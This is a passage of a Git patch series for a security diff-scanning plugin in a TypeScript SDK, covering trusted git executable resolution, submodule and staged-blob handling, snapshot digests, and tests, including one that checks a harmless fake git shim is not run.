str(repo), + "ls-tree", + "-z", + head, + "--", + relative.as_posix(), + ], + check=False, + capture_output=True, + env=environment, + ) + if listed.returncode != 0: + raise SystemExit("Could not inspect the selected Git diff.") + entries = [entry for entry in listed.stdout.split(b"\0") if entry] + return len(entries) == 1 and entries[0].startswith(b"160000 commit ") + + def make_rank_shards(args: argparse.Namespace) -> None: if args.max_rows < 1: raise SystemExit("--max-rows must be at least 1") diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py index 39ad03dc..a31b38f2 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_constants.py @@ -78,6 +78,20 @@ def trusted_git_executable(protected_root: Path | None = None) -> str | None: executable = os.environ.get("CODEX_SECURITY_GIT") if not executable: + names = ("git.exe", "git.com") if os.name == "nt" else ("git",) + root = protected_root.resolve() if protected_root is not None else None + for entry in os.environ.get("PATH", "").split(os.pathsep): + if not entry: + continue + for name in names: + try: + candidate = (Path(entry) / name).resolve(strict=True) + except OSError: + continue + if root is not None and (candidate == root or root in candidate.parents): + continue + if candidate.is_file() and os.access(candidate, os.X_OK): + return str(candidate) return None candidate = Path(executable) if not candidate.is_absolute(): diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index 86f5ba30..0a33e080 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -1535,16 +1535,30 @@ def backfill_legacy_immutable_diff_digest( or scan["diff_content_digest"] is not None ): return scan - if scan["status"] == "complete": - scan_dir = require_canonical_scan_directory(Path(scan["scan_dir"])) + scan_dir = require_canonical_scan_directory(Path(scan["scan_dir"])) + manifest_path = scan_dir / ARTIFACTS["manifest"] + manifest = read_json_object(manifest_path) if manifest_path.is_file() else None + manifest_scan = manifest.get("scan") if isinstance(manifest, dict) else None + sealed = isinstance(manifest_scan, dict) and manifest_scan.get("sealedAt") is not None + if scan["status"] == "complete" or sealed: require_recorded_manifest_digest(scan, scan_dir) - manifest = read_json_object(scan_dir / ARTIFACTS["manifest"]) - target = manifest.get("scan", {}).get("target", {}) + target = manifest_scan.get("target", {}) if isinstance(manifest_scan, dict) else {} digest = target.get("snapshotDigest") if isinstance(target, dict) else None if not isinstance(digest, str) or re.fullmatch( r"codex-security-snapshot/v1:sha256:[a-f0-9]{64}", digest ) is None: - raise SystemExit("Completed immutable diff scan is missing its sealed snapshot digest.") + raise SystemExit("Sealed immutable diff scan is missing its snapshot digest.") + completed_at = manifest_scan.get("completedAt") + if not isinstance(completed_at, str): + raise SystemExit("Sealed immutable diff scan is missing its completion timestamp.") + try: + _prepare_scan_finalization( + scan_dir, + expected_coverage_mode=expected_coverage_mode(scan), + completion_binding=workbench_completion_binding(scan, completed_at), + ) + except ContractError as exc: + raise SystemExit(str(exc)) from exc else: target = require_scan_target_identity(scan) digest = git_diff_content_digest( diff --git a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md index 0ee783f8..1bcfe635 100644 --- a/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md +++ b/sdk/typescript/_bundled_plugin/skills/security-diff-scan/SKILL.md @@ -134,7 +134,8 @@ Use `../security-scan/references/scan-artifacts-and-ledger.md` for the shared sc Diff scans should: - generate `rank_input.jsonl` deterministically from changed source-like files with ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode revisions --head --out /rank_input.jsonl` for PR, commit, and branch diffs, or ` /scripts/generate_rank_input.py make-diff-rank-input --repo --base --mode local-patch --out /rank_input.jsonl` for a local patch -- for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits +- for committed revision diffs, read every changed or supporting file exclusively from the selected immutable Git tree with `git --no-replace-objects -C show :`; for deleted files use `:`. For a changed Git submodule, inspect its recorded gitlink commit and `.gitmodules` configuration instead of treating the gitlink as a regular file. Never substitute the checked-out working-tree file, which may be from another revision or contain local edits +- for local patches, read a staged-only added file that no longer exists in the working tree from the exact index blob with `git --no-replace-objects -C show :`; never replace that staged content with an unrelated working-tree file - copy every diff row into `deep_review_input.jsonl` with ` /scripts/generate_rank_input.py copy-deep-review-input --rank-input /rank_input.jsonl --out /deep_review_input.jsonl` - deep-review every file in `deep_review_input.jsonl` - add directly supporting files only when repository evidence shows they are needed to understand the changed security behavior diff --git a/sdk/typescript/tests-ts/api.test.ts b/sdk/typescript/tests-ts/api.test.ts index 9acf61ab..263a065c 100644 --- a/sdk/typescript/tests-ts/api.test.ts +++ b/sdk/typescript/tests-ts/api.test.ts @@ -18,7 +18,14 @@ import { tmpdir } from "node:os"; import { basename, join } from "node:path"; import { fileURLToPath, pathToFileURL } from "node:url"; import { Codex, type CodexOptions, type ThreadEvent } from "@openai/codex-sdk"; -import { afterEach, describe, expect, mock, test } from "bun:test"; +import { + afterEach, + describe, + expect, + mock, + setDefaultTimeout, + test, +} from "bun:test"; import { parse as parseToml } from "smol-toml"; import { AuthenticationRequiredError, @@ -54,6 +61,7 @@ type ScanObserverName = Parameters< const REPOSITORY_ROOT = fileURLToPath(new URL("../../..", import.meta.url)); const EXAMPLE = join(PLUGIN_ROOT, "examples", "completed-scan"); const temporaryDirectories: string[] = []; +if (process.platform === "win32") setDefaultTimeout(60_000); const TEST_SNAPSHOT_DIGEST = `codex-security-snapshot/v1:sha256:${"a".repeat(64)}`; const TestClientBase = CodexSecurity as unknown as new ( config: Record, diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index bb444c25..8137a384 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -1,4 +1,4 @@ -import { execFileSync } from "node:child_process"; +import { execFileSync, spawnSync } from "node:child_process"; import { mkdir, mkdtemp, @@ -10,7 +10,7 @@ import { writeFile, } from "node:fs/promises"; import { tmpdir } from "node:os"; -import { dirname, join } from "node:path"; +import { delimiter, dirname, join } from "node:path"; import { afterEach, describe, expect, test } from "bun:test"; import { PLUGIN_ROOT } from "./plugin-root.js"; @@ -197,6 +197,99 @@ describe("diff rank input", () => { expect(JSON.stringify(rows)).not.toContain("different-checkout"); }); + test("resolves trusted system Git for direct plugin launches without an SDK override", async () => { + const fixture = await createRepository(); + const trustedGit = Bun.which("git"); + expect(trustedGit).not.toBeNull(); + const shimDirectory = join(fixture.repository, "node_modules", ".bin"); + const marker = join(fixture.root, "repository-git-ran"); + await mkdir(shimDirectory, { recursive: true }); + await writeFile( + join(shimDirectory, process.platform === "win32" ? "git.cmd" : "git"), + process.platform === "win32" + ? `@echo off\r\n> "${marker}" echo hijacked\r\nexit /b 1\r\n` + : `#!/bin/sh\nprintf hijacked > '${marker}'\nexit 1\n`, + { mode: 0o755 }, + ); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const environment = { ...process.env }; + delete environment["CODEX_SECURITY_GIT"]; + environment["PATH"] = [shimDirectory, dirname(trustedGit!)].join(delimiter); + const result = spawnSync( + python!, + [ + "-I", + "-B", + "-c", + [ + "from pathlib import Path", + "import sys", + "sys.path.insert(0, sys.argv[1])", + "from workbench_constants import trusted_git_executable", + "print(trusted_git_executable(Path(sys.argv[2])))", + ].join("\n"), + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + ], + { encoding: "utf8", env: environment }, + ); + + expect(result.status, result.stderr).toBe(0); + expect(result.stdout.trim()).toBe(await realpath(trustedGit!)); + await expect(readFile(marker)).rejects.toMatchObject({ code: "ENOENT" }); + }); + + test.skipIf(process.platform === "win32")( + "treats metacharacters in immutable Git paths as literal names", + async () => { + const fixture = await createRepository(); + const path = "src/[security]*.ts"; + await writeRepositoryFile( + fixture.repository, + path, + "export const literal = 'immutable';\n", + ); + git(fixture.repository, "add", path); + git(fixture.repository, "commit", "-qm", "add literal Git path"); + + expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ + path, + area: "diff", + preview: "export const literal = 'immutable';", + }); + }, + ); + + test("includes ignored Git submodule changes and their recorded commits", async () => { + const fixture = await createRepository(); + const revision = fixture.base; + await writeRepositoryFile( + fixture.repository, + ".gitmodules", + '[submodule "security"]\n\tpath = dependencies/security\n\turl = https://example.invalid/security.git\n', + ); + git(fixture.repository, "config", "diff.ignoreSubmodules", "all"); + git(fixture.repository, "add", ".gitmodules"); + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${revision},dependencies/security`, + ); + git(fixture.repository, "commit", "-qm", "add pinned security dependency"); + + const rows = await runDiffRankInput(fixture, "revisions"); + + expect(rows).toContainEqual({ + path: "dependencies/security", + area: "diff", + preview: `Git submodule pinned to commit ${revision}`, + }); + expect(rows.map((row) => row.path)).toContain(".gitmodules"); + }); + test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { @@ -355,6 +448,24 @@ describe("diff rank input", () => { expect(rows.every((row) => row.preview.length > 0)).toBe(true); }); + test("reads staged-only additions from their immutable Git index blobs", async () => { + const fixture = await createRepository(); + const path = "src/staged-only.ts"; + await writeRepositoryFile( + fixture.repository, + path, + "export const staged = 'review this exact blob';\n", + ); + git(fixture.repository, "add", path); + await rm(join(fixture.repository, path)); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: "export const staged = 'review this exact blob';", + }); + }); + test.skipIf(process.platform === "win32")( "never previews committed symlinks or repository paths escaping through a symlinked parent", async () => { diff --git a/sdk/typescript/tests-ts/scan-recovery.test.ts b/sdk/typescript/tests-ts/scan-recovery.test.ts index cb22eaee..5d200a59 100644 --- a/sdk/typescript/tests-ts/scan-recovery.test.ts +++ b/sdk/typescript/tests-ts/scan-recovery.test.ts @@ -5,6 +5,7 @@ import { mkdtemp, readFile, realpath, + rename, rm, writeFile, } from "node:fs/promises"; @@ -417,26 +418,38 @@ describe("malformed scan artifact recovery", () => { expect(preparedManifest.scan.target.snapshotDigest).toBe( contract.diffTarget.contentDigest, ); - expect((await completeScan(fixture)).progress.status).toBe("complete"); - const downgrade = spawnSync( - fixture.python, - [ - "-I", - "-B", - "-c", + const downgrade = () => { + const result = spawnSync( + fixture.python, [ - "import sqlite3, sys", - "with sqlite3.connect(sys.argv[1]) as connection:", - " connection.execute('UPDATE scans SET diff_content_digest = NULL WHERE id = ?', (sys.argv[2],))", - " connection.execute('UPDATE workspaces SET diff_content_digest = NULL WHERE id = (SELECT workspace_id FROM scans WHERE id = ?)', (sys.argv[2],))", - ].join("\n"), - join(fixture.stateDir, "workbench.sqlite3"), - fixture.scanId, - ], - { encoding: "utf8" }, - ); - expect(downgrade.status, downgrade.stderr).toBe(0); + "-I", + "-B", + "-c", + [ + "import sqlite3, sys", + "with sqlite3.connect(sys.argv[1]) as connection:", + " connection.execute('UPDATE scans SET diff_content_digest = NULL WHERE id = ?', (sys.argv[2],))", + " connection.execute('UPDATE workspaces SET diff_content_digest = NULL WHERE id = (SELECT workspace_id FROM scans WHERE id = ?)', (sys.argv[2],))", + ].join("\n"), + join(fixture.stateDir, "workbench.sqlite3"), + fixture.scanId, + ], + { encoding: "utf8" }, + ); + expect(result.status, result.stderr).toBe(0); + }; + downgrade(); + const gitDirectory = join(repository, ".git"); + const unavailableGitDirectory = join(root, "temporarily-unavailable-git"); + await rename(gitDirectory, unavailableGitDirectory); + try { + expect((await completeScan(fixture)).progress.status).toBe("complete"); + } finally { + await rename(unavailableGitDirectory, gitDirectory); + } + + downgrade(); expect((await completeScan(fixture)).progress.status).toBe("complete"); }); From ce102afda3ee778f7294a84f9e32dc47d354a908 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 11:22:05 -0700 Subject: [PATCH 11/46] fix: preserve immutable gitlink inventory across type changes --- .../scripts/generate_rank_input.py | 59 +++++++++++++++++-- .../tests-ts/diff-rank-input.test.ts | 58 ++++++++++++++++++ 2 files changed, 112 insertions(+), 5 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index e4174039..178c3b46 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -827,11 +827,14 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: rows: list[JsonRow] = [] for path, status in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) - if not diff_path_is_included(rel) and not ( - args.mode == "revisions" - and status in {"A", "M"} - and is_immutable_gitlink(repo, args.head, rel) - ): + gitlink_revision = None + if args.mode == "revisions": + revision = args.base if status == "D" else args.head + if is_immutable_gitlink(repo, revision, rel): + gitlink_revision = revision + elif path.is_dir(): + gitlink_revision = index_gitlink_revision(repo, rel) + if not diff_path_is_included(rel) and gitlink_revision is None: continue if status in {"D", "U"}: @@ -841,6 +844,11 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: preview, is_binary = immutable_diff_preview( repo, path, args.head, args.preview_bytes ) + elif gitlink_revision is not None: + preview, is_binary = ( + f"Git submodule pinned to commit {gitlink_revision}", + False, + ) elif status == "A" and not path.exists() and not path.is_symlink(): preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) else: @@ -887,6 +895,47 @@ def is_immutable_gitlink(repo: Path, head: str, relative: Path) -> bool: return len(entries) == 1 and entries[0].startswith(b"160000 commit ") +def index_gitlink_revision(repo: Path, relative: Path) -> str | None: + executable = trusted_git_executable(repo) + if executable is None: + raise SystemExit("Git is unavailable on the trusted executable path.") + environment = os.environ.copy() + for name in GIT_REPOSITORY_ENVIRONMENT: + environment.pop(name, None) + environment["GIT_LITERAL_PATHSPECS"] = "1" + listed = subprocess.run( + [ + executable, + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + str(repo), + "ls-files", + "--stage", + "-z", + "--", + relative.as_posix(), + ], + check=False, + capture_output=True, + env=environment, + ) + if listed.returncode != 0: + raise SystemExit("Could not inspect the selected Git diff.") + entries = [entry for entry in listed.stdout.split(b"\0") if entry] + if len(entries) != 1: + return None + try: + metadata, path = entries[0].split(b"\t", 1) + mode, object_id, _stage = metadata.split(b" ", 2) + except ValueError: + return None + if mode != b"160000" or path != os.fsencode(relative.as_posix()): + return None + return object_id.decode("ascii") + + def make_rank_shards(args: argparse.Namespace) -> None: if args.max_rows < 1: raise SystemExit("--max-rows must be at least 1") diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 8137a384..be66fb55 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -290,6 +290,64 @@ describe("diff rank input", () => { expect(rows.map((row) => row.path)).toContain(".gitmodules"); }); + test("includes ignored paths that change from regular files into Git submodules", async () => { + const fixture = await createRepository(); + const path = "vendor/dep"; + await writeRepositoryFile( + fixture.repository, + path, + "previous dependency\n", + ); + git(fixture.repository, "add", "--force", path); + git(fixture.repository, "commit", "-qm", "track the previous dependency"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "rm", "--quiet", path); + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${fixture.base},${path}`, + ); + git(fixture.repository, "commit", "-qm", "replace dependency with gitlink"); + + expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ + path, + area: "diff", + preview: `Git submodule pinned to commit ${fixture.base}`, + }); + }); + + test("previews local dirty Git submodules from their pinned index commit", async () => { + const fixture = await createRepository(); + const submodule = join(fixture.repository, ".github", "actions", "sub"); + await mkdir(submodule, { recursive: true }); + git(submodule, "init", "-q", "-b", "main"); + git(submodule, "config", "user.name", "Codex Security Test"); + git(submodule, "config", "user.email", "codex-security@example.invalid"); + await writeRepositoryFile(submodule, "action.yml", "name: original\n"); + git(submodule, "add", "."); + git(submodule, "commit", "-qm", "original action"); + const revision = git(submodule, "rev-parse", "HEAD"); + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${revision},.github/actions/sub`, + ); + git(fixture.repository, "commit", "-qm", "pin workflow action"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "config", "diff.ignoreSubmodules", "all"); + await writeRepositoryFile(submodule, "action.yml", "name: dirty\n"); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path: ".github/actions/sub", + area: "diff", + preview: `Git submodule pinned to commit ${revision}`, + }); + }); + test("inventories committed security-sensitive workflows, containers, and agent instructions", async () => { const fixture = await createRepository(); const files: Record = { From 49dd7ca33273404c5a87de0e4e7f41e0d0136dac Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 12:04:14 -0700 Subject: [PATCH 12/46] fix: bind all security relevant diff surfaces and staged blobs --- .../scripts/generate_rank_input.py | 18 ++- .../scripts/workbench_target.py | 33 ++++- .../tests-ts/diff-rank-input.test.ts | 125 ++++++++++++++++++ 3 files changed, 171 insertions(+), 5 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 178c3b46..c41b1bab 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -365,6 +365,8 @@ def diff_path_is_security_relevant(path: Path) -> bool: def diff_path_is_included(path: Path) -> bool: if diff_path_is_security_relevant(path): + if len(path.parts) >= 2 and path.parts[0] == ".github" and path.parts[1] in SECURITY_RELEVANT_GITHUB_DIFF_DIRECTORIES: + return ".git" not in path.parts return not any(part in SECURITY_RELEVANT_DIFF_EXCLUDED_DIRS for part in path.parts) return ( not path_is_excluded(path) @@ -800,6 +802,8 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, status = fields[index][0] index += 1 if status in {"C", "R"}: + if status == "R": + changed.append((repo / fields[index], "D")) index += 1 path = repo / fields[index] index += 1 @@ -829,10 +833,16 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: rel = path.relative_to(repo) gitlink_revision = None if args.mode == "revisions": - revision = args.base if status == "D" else args.head - if is_immutable_gitlink(repo, revision, rel): - gitlink_revision = revision - elif path.is_dir(): + revisions = ( + (args.base, args.head) + if status == "T" + else (args.base if status == "D" else args.head,) + ) + for revision in revisions: + if is_immutable_gitlink(repo, revision, rel): + gitlink_revision = revision + break + else: gitlink_revision = index_gitlink_revision(repo, rel) if not diff_path_is_included(rel) and gitlink_revision is None: continue diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index 4c307aa8..cd75fc24 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -141,6 +141,34 @@ def worktree_content_digest_for_context( git_dir=git_dir, work_tree=work_tree, ) + staged = git_bytes( + repository, + "diff", + "--cached", + "--binary", + "--full-index", + "--no-ext-diff", + "--no-textconv", + "--ignore-submodules=none", + "HEAD", + "--", + pathspec, + git_dir=git_dir, + work_tree=work_tree, + ) + unstaged = git_bytes( + repository, + "diff", + "--binary", + "--full-index", + "--no-ext-diff", + "--no-textconv", + "--ignore-submodules=none", + "--", + pathspec, + git_dir=git_dir, + work_tree=work_tree, + ) untracked = git_bytes( repository, "ls-files", @@ -152,11 +180,14 @@ def worktree_content_digest_for_context( git_dir=git_dir, work_tree=work_tree, ) - if tracked is None or untracked is None: + if tracked is None or staged is None or unstaged is None or untracked is None: raise SystemExit("Could not snapshot the selected working-tree changes.") digest = hashlib.sha256() update_digest_field(digest, b"format", b"codex-security-snapshot/v1") update_digest_field(digest, b"tracked-diff", tracked) + if staged or unstaged: + update_digest_field(digest, b"index-diff", staged) + update_digest_field(digest, b"working-tree-diff", unstaged) for raw_path in sorted(path for path in untracked.split(b"\0") if path): relative_path = os.fsdecode(raw_path) path = (work_tree or repository) / relative_path diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index be66fb55..9601ab55 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -318,6 +318,57 @@ describe("diff rank input", () => { }); }); + test("includes ignored Git submodules replaced by regular files", async () => { + const fixture = await createRepository(); + const path = "vendor/dep"; + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${fixture.base},${path}`, + ); + git(fixture.repository, "commit", "-qm", "add gitlink dependency"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + git(fixture.repository, "rm", "--cached", "--quiet", path); + await writeRepositoryFile( + fixture.repository, + path, + "replacement dependency\n", + ); + git(fixture.repository, "add", "--force", path); + git( + fixture.repository, + "commit", + "-qm", + "replace gitlink with regular file", + ); + + expect(await runDiffRankInput(fixture, "revisions")).toContainEqual({ + path, + area: "diff", + preview: "replacement dependency", + }); + }); + + test("includes staged gitlinks before their working trees are checked out", async () => { + const fixture = await createRepository(); + const path = "vendor/index-only-dependency"; + git( + fixture.repository, + "update-index", + "--add", + "--cacheinfo", + `160000,${fixture.base},${path}`, + ); + + expect(await runDiffRankInput(fixture, "local-patch")).toContainEqual({ + path, + area: "diff", + preview: `Git submodule pinned to commit ${fixture.base}`, + }); + }); + test("previews local dirty Git submodules from their pinned index commit", async () => { const fixture = await createRepository(); const submodule = join(fixture.repository, ".github", "actions", "sub"); @@ -353,6 +404,8 @@ describe("diff rank input", () => { const files: Record = { ".dockerignore": "node_modules\nvendor\n", ".github/actions/build/action.yml": "runs:\n using: composite\n", + ".github/actions/vendor/checkout/action.yml": + "runs:\n using: composite\n", ".github/actions/security/action.yml": "runs:\n using: composite\n", ".github/actions/security/index.js": "export const secure = true;\n", ".github/actions/security/script.py": "print('review action')\n", @@ -406,6 +459,7 @@ describe("diff rank input", () => { fixture.repository, "add", "-f", + ".github/actions/vendor/checkout/action.yml", "node_modules/AGENTS.md", "node_modules/dependency.py", "vendor/Dockerfile", @@ -423,6 +477,7 @@ describe("diff rank input", () => { ".github/actions/security/index.js", ".github/actions/security/script.py", ".github/actions/test/action.yml", + ".github/actions/vendor/checkout/action.yml", ".github/CODEOWNERS", ".github/copilot-instructions.md", ".github/dependabot.yml", @@ -698,6 +753,7 @@ describe("diff rank input", () => { const rows = await runDiffRankInput(fixture, "revisions"); expect(rows).toEqual([ + { path: "src/old.py", area: "diff", preview: "" }, { path: "src/remove.py", area: "diff", preview: "" }, { path: "src/renamed.py", @@ -707,6 +763,75 @@ describe("diff rank input", () => { ]); }); + test("retains security-relevant rename sources when destinations are excluded", async () => { + const fixture = await createRepository(); + const source = ".github/workflows/deploy.yml"; + await writeRepositoryFile( + fixture.repository, + source, + "name: deploy\non: push\n", + ); + git(fixture.repository, "add", source); + git(fixture.repository, "commit", "-qm", "add deployment workflow"); + fixture.base = git(fixture.repository, "rev-parse", "HEAD"); + await mkdir(join(fixture.repository, "docs"), { recursive: true }); + await rename( + join(fixture.repository, source), + join(fixture.repository, "docs/deploy.yml"), + ); + git(fixture.repository, "add", "-A"); + git( + fixture.repository, + "commit", + "-qm", + "move deployment workflow to docs", + ); + + expect(await runDiffRankInput(fixture, "revisions")).toEqual([ + { path: source, area: "diff", preview: "" }, + ]); + }); + + test("binds staged-only Git index blobs into local-patch snapshot digests", async () => { + const fixture = await createRepository(); + const path = "src/staged-only.ts"; + await writeRepositoryFile( + fixture.repository, + path, + "export const secret = 1;\n", + ); + git(fixture.repository, "add", path); + await rm(join(fixture.repository, path)); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + const digest = (): string => + execFileSync( + python!, + [ + "-I", + "-c", + "import sys; from pathlib import Path; sys.path.insert(0, sys.argv[1]); from workbench_target import worktree_content_digest; print(worktree_content_digest(Path(sys.argv[2])))", + join(PLUGIN_ROOT, "scripts"), + fixture.repository, + ], + { encoding: "utf8" }, + ).trim(); + const previous = digest(); + const replacement = execFileSync("git", ["hash-object", "-w", "--stdin"], { + cwd: fixture.repository, + input: "export const secret = 2;\n", + encoding: "utf8", + }).trim(); + git( + fixture.repository, + "update-index", + "--cacheinfo", + `100644,${replacement},${path}`, + ); + + expect(digest()).not.toBe(previous); + }); + test("continues to exclude binary files and ignored dependency directories", async () => { const fixture = await createRepository(); await Promise.all([ From 3a2dd57ba82d4a15ff6762c81352a8b4d598e579 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 12:11:52 -0700 Subject: [PATCH 13/46] test: synchronously flush synthetic ChatGPT login prompts --- sdk/typescript/tests-ts/api.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sdk/typescript/tests-ts/api.test.ts b/sdk/typescript/tests-ts/api.test.ts index 263a065c..5744b740 100644 --- a/sdk/typescript/tests-ts/api.test.ts +++ b/sdk/typescript/tests-ts/api.test.ts @@ -3911,7 +3911,7 @@ if (process.argv.slice(2).join(" ") !== "login status") { await writeFile( fakeCodex, ` -import { appendFileSync } from "node:fs"; +import { appendFileSync, writeSync } from "node:fs"; const args = process.argv.slice(2).join(" "); if (args === "login --with-api-key") { @@ -3923,7 +3923,7 @@ if (args === "login --with-api-key") { appendFileSync(${JSON.stringify(keyLog)}, apiKey); } } else if (args === "login") { - console.error("Open https://auth.example.test/login"); + writeSync(2, "Open https://auth.example.test/login\\n"); } else { process.exitCode = 2; } From d29622509c42a63f29b819226663bfc472b079ff Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 12:54:05 -0700 Subject: [PATCH 14/46] fix: preserve trusted runtime paths and historical Git snapshots --- .../scripts/generate_rank_input.py | 10 +- .../_bundled_plugin/scripts/workbench_db.py | 10 +- .../scripts/workbench_target.py | 70 ++++++------ sdk/typescript/src/api.ts | 11 ++ sdk/typescript/src/runtime.ts | 12 ++- .../tests-ts/diff-rank-input.test.ts | 100 ++++++++++++++++++ sdk/typescript/tests-ts/runtime.test.ts | 64 +++++++++++ 7 files changed, 240 insertions(+), 37 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index c41b1bab..ca62f323 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -832,6 +832,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: for path, status in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) gitlink_revision = None + index_is_gitlink = False if args.mode == "revisions": revisions = ( (args.base, args.head) @@ -844,6 +845,13 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: break else: gitlink_revision = index_gitlink_revision(repo, rel) + index_is_gitlink = gitlink_revision is not None + if ( + gitlink_revision is None + and status in {"D", "T"} + and is_immutable_gitlink(repo, args.base, rel) + ): + gitlink_revision = args.base if not diff_path_is_included(rel) and gitlink_revision is None: continue @@ -854,7 +862,7 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: preview, is_binary = immutable_diff_preview( repo, path, args.head, args.preview_bytes ) - elif gitlink_revision is not None: + elif index_is_gitlink: preview, is_binary = ( f"Git submodule pinned to commit {gitlink_revision}", False, diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py index 0a33e080..0b2a84e7 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_db.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_db.py @@ -379,10 +379,12 @@ def require_diff_target( "Select Uncommitted changes again." ) if content_digest and content_digest != current_digest: - raise SystemExit( - "Working-tree contents changed after they were selected. " - "Select Uncommitted changes again." - ) + if content_digest != worktree_content_digest(target, legacy=True): + raise SystemExit( + "Working-tree contents changed after they were selected. " + "Select Uncommitted changes again." + ) + current_digest = content_digest return { "kind": kind, "baseRevision": current_head, diff --git a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py index cd75fc24..65333a74 100644 --- a/sdk/typescript/_bundled_plugin/scripts/workbench_target.py +++ b/sdk/typescript/_bundled_plugin/scripts/workbench_target.py @@ -114,10 +114,10 @@ def git_diff_content_digest(target: Path, base_revision: str, head_revision: str return f"codex-security-snapshot/v1:sha256:{digest.hexdigest()}" -def worktree_content_digest(target: Path) -> str: +def worktree_content_digest(target: Path, *, legacy: bool = False) -> str: require_clean_submodule_worktrees(target) repository, pathspec = git_worktree_context(target) - return worktree_content_digest_for_context(repository, pathspec) + return worktree_content_digest_for_context(repository, pathspec, legacy=legacy) def worktree_content_digest_for_context( @@ -126,6 +126,7 @@ def worktree_content_digest_for_context( *, git_dir: Path | None = None, work_tree: Path | None = None, + legacy: bool = False, ) -> str: tracked = git_bytes( repository, @@ -141,34 +142,38 @@ def worktree_content_digest_for_context( git_dir=git_dir, work_tree=work_tree, ) - staged = git_bytes( - repository, - "diff", - "--cached", - "--binary", - "--full-index", - "--no-ext-diff", - "--no-textconv", - "--ignore-submodules=none", - "HEAD", - "--", - pathspec, - git_dir=git_dir, - work_tree=work_tree, - ) - unstaged = git_bytes( - repository, - 